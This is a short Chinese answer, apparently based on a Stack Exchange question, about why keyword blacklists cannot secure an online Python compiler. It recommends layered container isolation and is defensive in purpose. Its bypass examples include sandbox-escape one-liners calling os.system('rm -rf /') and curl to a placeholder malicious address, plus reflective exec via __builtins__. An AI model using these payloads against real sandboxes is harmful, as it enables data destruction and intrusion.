在线Python编译器防范恶意代码执行的黑名单方案有效性问询

仅靠字符串匹配黑名单的方式完全无法解决恶意Python代码运行的问题，甚至无法抵御最基础的刻意绕过攻击。

Python的动态语法特性决定了字符串黑名单几乎不存在可覆盖所有攻击路径的可能性，常见绕过方式包括但不限于：

• 字符串拼接绕过：比如__import__('o' + 's').system('rm -rf /')，将黑名单关键词拆分为多段拼接即可绕过检测
• 编码/解码绕过：比如通过Base64、字符ASCII码转换生成关键词，示例：

  # 解码后等价于导入os模块
  __import__(chr(111) + chr(115)).system('curl 恶意地址')
  

• 反射调用绕过：从内置变量中动态获取方法，全程不需要出现完整的黑名单关键词，示例：

  getattr(globals()['__builtins__'], 'ex' + 'ec')("任意恶意代码内容")
  

你前期调研的三类方案中：

• 单独禁用built-ins防护性不足，目前已有大量成熟的逃逸公开案例
• Ptrace + chroot jail防护性尚可，但配置逻辑复杂，容易出现配置漏洞
• 最稳妥的方案是采用多层隔离防护：先用轻量虚拟机/容器（比如Docker）运行代码，配置只读文件系统、禁用网络、非root权限运行、限制CPU/内存/进程数/运行时长，再配合Python层面的沙箱限制，才能最大化降低恶意代码的危害。

内容的提问来源于stack exchange，提问作者Jay Patel